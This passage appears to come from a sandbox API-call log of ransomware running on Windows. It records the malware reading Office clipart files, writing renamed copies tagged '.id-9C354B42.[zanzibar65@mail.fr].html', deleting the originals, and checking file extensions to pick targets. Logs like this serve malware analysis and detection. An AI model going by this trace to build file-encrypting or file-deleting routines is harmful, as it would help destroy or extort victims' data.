(hFile=0x22c) returned 1 [0056.896] CloseHandle (hObject=0x22c) returned 1 [0056.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0056.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.897] lstrlenW (lpString=".doc") returned 4 [0056.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.897] lstrlenW (lpString=".docx") returned 5 [0056.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.897] lstrlenW (lpString=".pdf") returned 4 [0056.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.897] lstrlenW (lpString=".xls") returned 4 [0056.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.897] lstrlenW (lpString=".xlsx") returned 5 [0056.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.897] lstrlenW (lpString=".ppt") returned 4 [0056.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.897] lstrlenW (lpString=".zip") returned 4 [0056.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.897] lstrlenW (lpString=".rar") returned 4 [0056.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.897] lstrlenW (lpString=".bz2") returned 4 [0056.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.897] lstrlenW (lpString=".7z") returned 3 [0056.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.898] lstrlenW (lpString=".dbf") returned 4 [0056.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.898] lstrlenW (lpString=".1cd") returned 4 [0056.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.898] lstrlenW (lpString=".jpg") returned 4 [0056.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.898] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=812) returned 1 [0056.898] CloseHandle (hObject=0x22c) returned 1 [0056.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0056.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0056.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0056.899] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.899] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.899] GetLastError () returned 0x0 [0056.899] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x32c, lpOverlapped=0x0) returned 1 [0057.205] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x330, lpOverlapped=0x0) returned 1 [0057.275] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.314] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.314] SetEndOfFile (hFile=0x258) returned 1 [0057.322] CloseHandle (hObject=0x258) returned 1 [0057.322] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.322] SetEndOfFile (hFile=0x22c) returned 1 [0057.323] CloseHandle (hObject=0x22c) returned 1 [0057.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0057.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0057.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0057.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0057.325] lstrlenW (lpString=".doc") returned 4 [0057.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.325] lstrlenW (lpString=".docx") returned 5 [0057.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.326] lstrlenW (lpString=".pdf") returned 4 [0057.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.326] lstrlenW (lpString=".xls") returned 4 [0057.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.326] lstrlenW (lpString=".xlsx") returned 5 [0057.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.326] lstrlenW (lpString=".ppt") returned 4 [0057.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0057.326] lstrlenW (lpString=".zip") returned 4 [0057.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.326] lstrlenW (lpString=".rar") returned 4 [0057.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.326] lstrlenW (lpString=".bz2") returned 4 [0057.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.326] lstrlenW (lpString=".7z") returned 3 [0057.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0057.326] lstrlenW (lpString=".dbf") returned 4 [0057.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0057.326] lstrlenW (lpString=".1cd") returned 4 [0057.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0057.326] lstrlenW (lpString=".jpg") returned 4 [0057.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.327] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.327] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0057.327] GetLastError () returned 0x0 [0057.327] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x69aa, lpOverlapped=0x0) returned 1 [0057.329] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0057.330] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.330] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.330] SetEndOfFile (hFile=0x258) returned 1 [0057.331] CloseHandle (hObject=0x258) returned 1 [0057.331] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.331] SetEndOfFile (hFile=0x22c) returned 1 [0057.332] CloseHandle (hObject=0x22c) returned 1 [0057.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0057.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0057.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0057.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0057.332] lstrlenW (lpString=".doc") returned 4 [0057.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.332] lstrlenW (lpString=".docx") returned 5 [0057.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.332] lstrlenW (lpString=".pdf") returned 4 [0057.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.333] lstrlenW (lpString=".xls") returned 4 [0057.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.333] lstrlenW (lpString=".xlsx") returned 5 [0057.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.333] lstrlenW (lpString=".ppt") returned 4 [0057.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0057.333] lstrlenW (lpString=".zip") returned 4 [0057.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.333] lstrlenW (lpString=".rar") returned 4 [0057.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.333] lstrlenW (lpString=".bz2") returned 4 [0057.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.333] lstrlenW (lpString=".7z") returned 3 [0057.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0057.333] lstrlenW (lpString=".dbf") returned 4 [0057.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0057.333] lstrlenW (lpString=".1cd") returned 4 [0057.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0057.333] lstrlenW (lpString=".jpg") returned 4 [0057.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.333] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.334] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0057.334] GetLastError () returned 0x0 [0057.334] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1b54, lpOverlapped=0x0) returned 1 [0057.335] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0057.336] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.336] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.336] SetEndOfFile (hFile=0x258) returned 1 [0057.337] CloseHandle (hObject=0x258) returned 1 [0057.337] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.337] SetEndOfFile (hFile=0x22c) returned 1 [0057.338] CloseHandle (hObject=0x22c) returned 1 [0057.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0057.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0057.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0057.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0057.338] lstrlenW (lpString=".doc") returned 4 [0057.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.338] lstrlenW (lpString=".docx") returned 5 [0057.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.338] lstrlenW (lpString=".pdf") returned 4 [0057.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.338] lstrlenW (lpString=".xls") returned 4 [0057.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.338] lstrlenW (lpString=".xlsx") returned 5 [0057.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.338] lstrlenW (lpString=".ppt") returned 4 [0057.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0057.339] lstrlenW (lpString=".zip") returned 4 [0057.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.339] lstrlenW (lpString=".rar") returned 4 [0057.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.339] lstrlenW (lpString=".bz2") returned 4 [0057.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.339] lstrlenW (lpString=".7z") returned 3 [0057.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0057.339] lstrlenW (lpString=".dbf") returned 4 [0057.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0057.339] lstrlenW (lpString=".1cd") returned 4 [0057.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0057.339] lstrlenW (lpString=".jpg") returned 4 [0057.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.339] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.339] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0057.340] GetLastError () returned 0x0 [0057.340] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2576, lpOverlapped=0x0) returned 1 [0057.353] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0057.354] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.355] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.355] SetEndOfFile (hFile=0x258) returned 1 [0057.355] CloseHandle (hObject=0x258) returned 1 [0057.355] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.355] SetEndOfFile (hFile=0x22c) returned 1 [0058.573] CloseHandle (hObject=0x22c) returned 1 [0058.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0058.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.911] lstrlenW (lpString=".doc") returned 4 [0058.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.917] lstrlenW (lpString=".docx") returned 5 [0058.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.921] lstrlenW (lpString=".pdf") returned 4 [0058.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.923] lstrlenW (lpString=".xls") returned 4 [0058.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.926] lstrlenW (lpString=".xlsx") returned 5 [0058.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.943] lstrlenW (lpString=".ppt") returned 4 [0058.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.950] lstrlenW (lpString=".zip") returned 4 [0058.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.953] lstrlenW (lpString=".rar") returned 4 [0058.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.956] lstrlenW (lpString=".bz2") returned 4 [0058.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.958] lstrlenW (lpString=".7z") returned 3 [0058.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.964] lstrlenW (lpString=".dbf") returned 4 [0058.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.970] lstrlenW (lpString=".1cd") returned 4 [0058.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0058.973] lstrlenW (lpString=".jpg") returned 4 [0058.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.044] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=8366) returned 1 [0060.195] CloseHandle (hObject=0x21c) returned 1 [0060.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0060.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.227] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.235] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0060.253] GetLastError () returned 0x0 [0060.254] ReadFile (in: hFile=0x21c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x20ae, lpOverlapped=0x0) returned 1 [0060.294] WriteFile (in: hFile=0x238, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0060.326] ReadFile (in: hFile=0x21c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.329] WriteFile (in: hFile=0x238, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.332] SetEndOfFile (hFile=0x238) returned 1 [0060.340] CloseHandle (hObject=0x238) returned 1 [0060.346] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.348] SetEndOfFile (hFile=0x21c) returned 1 [0060.370] CloseHandle (hObject=0x21c) returned 1 [0060.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.482] DeleteFileW 